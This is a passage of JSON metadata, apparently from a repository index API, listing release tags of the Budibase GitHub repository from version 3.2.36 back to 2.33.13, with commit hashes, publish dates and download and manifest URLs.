api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.37/manifests"},{"name":"3.2.36","sha":"377e764d5bcbe204e5cc37675242f54690dc82f4","kind":"commit","published_at":"2025-01-08T10:25:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.36","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.36/manifests"},{"name":"3.2.35","sha":"aec4cc5bfbe93c494e0b9cd74b9d4779b277c476","kind":"commit","published_at":"2025-01-08T09:35:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.35","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.35/manifests"},{"name":"3.2.34","sha":"21bfb7a45da8b1b615c100d8d52d0e991e24eae5","kind":"commit","published_at":"2025-01-07T17:47:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.34","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.34/manifests"},{"name":"3.2.33","sha":"4d0f69556c9a8bb9bb0781fa54edb8345b32d3eb","kind":"commit","published_at":"2025-01-07T16:59:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.33","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.33/manifests"},{"name":"3.2.32","sha":"94adbb15adc43dc2fa8b71ad5ca18f326a598e96","kind":"commit","published_at":"2025-01-02T15:17:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.32","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.32/manifests"},{"name":"3.2.31","sha":"46a132a220fe585214a1ca1ecdf8dfdc82ea337e","kind":"commit","published_at":"2025-01-02T14:31:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.31","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.31/manifests"},{"name":"3.2.30","sha":"4353e56200aaafc9bd8c1396faef4256145d1f1a","kind":"commit","published_at":"2025-01-02T14:00:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.30","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.30/manifests"},{"name":"3.2.29","sha":"8b56c6d0438965e30e4729996af9c78397893ba9","kind":"commit","published_at":"2024-12-16T10:55:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.29","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.29/manifests"},{"name":"3.2.28","sha":"1c5a973ec0a562e94abee92e8cfc042e7452276a","kind":"commit","published_at":"2024-12-12T12:06:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.28","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.28/manifests"},{"name":"3.2.27","sha":"50323a44599e69f2ee306d5a4beaaf24885bd8b8","kind":"commit","published_at":"2024-12-10T15:52:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.27","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.27/manifests"},{"name":"3.2.26","sha":"30064524a3c8d87a0943c63aaba70127688654a9","kind":"commit","published_at":"2024-12-09T10:43:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.26","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.26/manifests"},{"name":"3.2.25","sha":"799e44c0d810dc32674e842446afb3275c35ffbd","kind":"commit","published_at":"2024-12-06T11:15:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.25","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.25/manifests"},{"name":"3.2.24","sha":"8d897ca434e1e387a5e40ebf194202c2f4fe9305","kind":"commit","published_at":"2024-12-04T11:09:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.24","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.24/manifests"},{"name":"3.2.23","sha":"82a1165077d259f39847eadbeab6f66b9f6c4cd4","kind":"commit","published_at":"2024-12-03T19:01:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.23","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.23/manifests"},{"name":"3.2.22","sha":"5f28689800cc352ffe7d3da43f1ad125f6d1d930","kind":"commit","published_at":"2024-12-03T16:45:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.22","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.22/manifests"},{"name":"3.2.21","sha":"75f61b5a31c191aca5b095da39eb6810e5e2e7a9","kind":"commit","published_at":"2024-12-03T16:11:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.21","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.21/manifests"},{"name":"3.2.20","sha":"7e22634b52d1432ad91ebca6157013809a52786c","kind":"commit","published_at":"2024-12-03T15:56:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.20","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.20/manifests"},{"name":"3.2.19","sha":"15991d2316723eb5da2ada5880fddcf75caa67ca","kind":"commit","published_at":"2024-12-03T11:01:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.19","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.19/manifests"},{"name":"3.2.18","sha":"05ba3230fad6ba5fb409aae5def21d248dd0ee38","kind":"commit","published_at":"2024-12-02T16:30:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.18","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.18/manifests"},{"name":"3.2.17","sha":"ffca69ea1c3385ae7e67b726504422e04795cb2a","kind":"commit","published_at":"2024-12-02T11:38:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.17","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.17/manifests"},{"name":"3.2.16","sha":"d2f7694afaeb5b24b716bf38dc6110c720dc4f88","kind":"commit","published_at":"2024-11-29T10:36:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.16","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.16/manifests"},{"name":"3.2.15","sha":"f83ce2fca16838d4b7dc12e27e73256eb74e0b39","kind":"commit","published_at":"2024-11-29T10:30:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.15/manifests"},{"name":"3.2.14","sha":"f51140801a5444bc9df73601d68fc471e6b7047b","kind":"commit","published_at":"2024-11-28T12:46:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.14/manifests"},{"name":"3.2.13","sha":"8559a1c49d6e2067f37f751a7706571f3473bd28","kind":"commit","published_at":"2024-11-27T11:07:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.13/manifests"},{"name":"3.2.12","sha":"aa133e92534b76237b6243d531bca170d716f727","kind":"commit","published_at":"2024-11-25T09:37:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.12/manifests"},{"name":"3.2.11","sha":"594338d9aa7ace3f833025a3def36c7c0fecbca9","kind":"commit","published_at":"2024-11-20T17:19:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.11/manifests"},{"name":"3.2.10","sha":"a031e16c56cd79654e5de9ede5a57d2185327062","kind":"commit","published_at":"2024-11-20T16:41:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.10/manifests"},{"name":"3.2.9","sha":"7a1883f327947d0b635821c546c2a40ee80b879a","kind":"commit","published_at":"2024-11-20T09:57:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.9/manifests"},{"name":"3.2.8","sha":"48f9b9f570d1617ce2ba444dc74c460e03110329","kind":"commit","published_at":"2024-11-20T09:25:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.8/manifests"},{"name":"3.2.7","sha":"1fe5bffe0a2c527b70b887093f1cee3ca658d3a4","kind":"commit","published_at":"2024-11-19T14:43:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.7/manifests"},{"name":"3.2.6","sha":"f867b32aad81a4e6fee5f059dd51425f68d2ba92","kind":"commit","published_at":"2024-11-19T11:41:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.6/manifests"},{"name":"3.2.5","sha":"a5a48889b02daf2d4c12e1de586552dbe000aa0c","kind":"commit","published_at":"2024-11-18T15:41:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.5/manifests"},{"name":"3.2.4","sha":"dd7259219bd352239cae23768bc89047eca12ba1","kind":"commit","published_at":"2024-11-18T15:03:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.4/manifests"},{"name":"3.2.3","sha":"50e66f3bcf4b2a2274f033ab297377e0400342b8","kind":"commit","published_at":"2024-11-16T15:08:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.3/manifests"},{"name":"3.2.2","sha":"300e7ca0e4dc2b434049057cacdce591441ac630","kind":"commit","published_at":"2024-11-15T16:42:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.2/manifests"},{"name":"3.2.1","sha":"1c2f009f6e7198ab1db996c2fdc46800e8d517ec","kind":"commit","published_at":"2024-11-08T14:49:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.1/manifests"},{"name":"3.2.0","sha":"1b491715ae543ba650cc54c4ebc80562a0890f3a","kind":"commit","published_at":"2024-11-07T08:20:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.2.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.2.0/manifests"},{"name":"3.1.3","sha":"6fd9a41fb9997d3b6320c2ad4bbf90993d17ded1","kind":"commit","published_at":"2024-11-06T17:35:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.1.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.3/manifests"},{"name":"3.1.2","sha":"e2da55ae77983364418b8029c1a8cabfadb0e306","kind":"commit","published_at":"2024-11-06T15:08:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.1.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.2/manifests"},{"name":"3.1.1","sha":"f90829ec5cc41262419021cc1b11c7781ac111cf","kind":"commit","published_at":"2024-11-06T10:40:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.1.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"4a59e2b7cdac92b8134e6529275a6646b53f967b","kind":"commit","published_at":"2024-11-06T08:30:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.1.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.1.0/manifests"},{"name":"3.0.4","sha":"62bd87bbfb6bb6660e2da74e30edbd8853f5cbc0","kind":"commit","published_at":"2024-11-05T14:23:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.0.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.4/manifests"},{"name":"3.0.3","sha":"41e3a40782bc0d4ea6f1dba8cf80f2a47db1cc7e","kind":"commit","published_at":"2024-11-05T00:13:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.0.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"dd6847c8b5a1d63902d343c772f62c8be060e1bf","kind":"commit","published_at":"2024-11-04T16:01:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.0.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"b8c10d4765e42f32b55d16e16db240090a0da5c3","kind":"commit","published_at":"2024-11-04T11:45:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.0.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"054e6cc13e5667aaf5688de2df9c56adaae3df47","kind":"commit","published_at":"2024-11-04T08:29:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.0.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.0.0/manifests"},{"name":"2.33.14","sha":"9a2d5049345383a30787ed9d4d69d78a2ed46da6","kind":"commit","published_at":"2024-10-31T15:31:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.14/manifests"},{"name":"2.33.13","sha":"bbf8f2b8c23e120787019705b0366b319a6f4f7c","kind":"commit","published_at":"2024-10-31T09:07:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2